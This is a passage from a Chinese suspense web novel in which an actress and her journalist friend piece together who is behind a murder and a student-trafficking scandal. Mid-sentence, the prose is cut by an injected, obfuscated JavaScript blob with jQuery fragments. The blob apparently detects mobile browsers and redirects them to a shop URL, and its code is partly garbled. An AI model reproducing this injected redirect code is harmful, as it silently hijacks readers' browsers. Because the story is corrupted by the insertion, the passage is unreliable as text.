自在地捋了一下刘海,小声嘟囔起来,“我能瞒着你什么啊……你就是职业病,遇到什么事都想深挖。”
“是,我是习惯挖各种猛料,但那也得有的挖才能让我挖出来。”柯妙妙用手指蘸了点水,在桌面上勾画。
“如果乘坐假出租车、进入君泽、偷走行车记录仪视频的人是真凶派去的,同时这辆假出租车又是‘艺心’往VeilMansion送女孩的工具,那么,那个想要栽赃嫁祸给你的真凶,和‘艺心’背后的人,就是同一个。”
“但颜洪对警方说,都是她去联系金主,把学生介绍给他们,没有人指使她……”
“江知渺!”柯妙妙坚定地摇了摇头,“你觉得她一个人有这么大本事吗?颜教授早就不是、或者她从来就不是我们印象里那个和蔼可亲的老师了,你还不愿意接受现实吗?”
她又何尝没有想到过这些,江知渺手指紧紧地抓住真皮沙发,指甲抓得生疼。
从何思尔将一切全盘托出的那一刻起,她就意识到柏霆宇的死与“艺心”丑闻之间存在千丝万缕的联系。
而自己已经暴露在真凶的面前,只能眼睁睁地等待他从背后向自己刺出匕首。
甚至就连邵聿九死一生的那场车祸也很有可能有这个人的手笔。
虽然她还不知道最后为什么又放过了邵聿,但她放出消息说邵聿仍在昏迷中,就是想尽可能护住邵聿,让背后的那个人能够接收到她的讯息:她知道他的存在,不要对邵聿下手。
“还有一件事”,柯妙妙屏住呼吸,缓慢地吸气呼气,似乎在积攒力量,停顿了许久才沉声说道:“柏霆宇死亡当天,你在VeilMansion的步行梯,究竟看到了什么?”
她已经有一周没有被马政阳传讯了,这个每次传讯都会听到的地点,离开了审讯室冰冷的背景,在温馨的房车内显得怪异又陌生。
八月十二日晚,她还穿着白天庆功宴上的红裙,踩着十二厘米高的高跟鞋,从VeilMansion步行梯的三层,一路向下狂奔,拼了命地跑进地下停车场,一边跑一边向后张望,生怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16217438|171696||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
身后有人追赶。恐惧令她的眼底溢出泪水,小腿几近痉挛,脚腕几次脱力歪倒,跌跌撞撞,像一只丧家之犬。
“你是不是看到了七年前的那个男人?”
柯妙妙的一句话让她彻底放弃了抵抗,她抬起眼睛,发现对方的睫毛在细微颤抖。不只是睫毛,当她握住柯妙妙放在桌子上的手,才感受到她掌心彻骨的冰凉。
就像七年前,大学期间最后一个冬天,她失魂落魄地跑回寝室,抱着江知渺嚎啕大哭,将自己这一年来总是夜不归宿的原因全盘托出。
“知渺姐,场务老师说可以准备补妆了。”冉然轻轻敲了敲门,细微的声音从门外飘进来。
“好,我知道了,马上过去。”江知渺抬高音量喊道。
她紧紧地握着柯妙妙的手晃了晃,努力提起一个轻松的微笑,“你放心,没有那么可怕。”
柯妙妙瞪着她,“这话你七年前也跟我说过,结果呢,转头就上了头条,还被封杀,差点毁了你的演员生涯。要是真害你永远拍不了戏,我就要自责一辈子了。”
“不怪你,是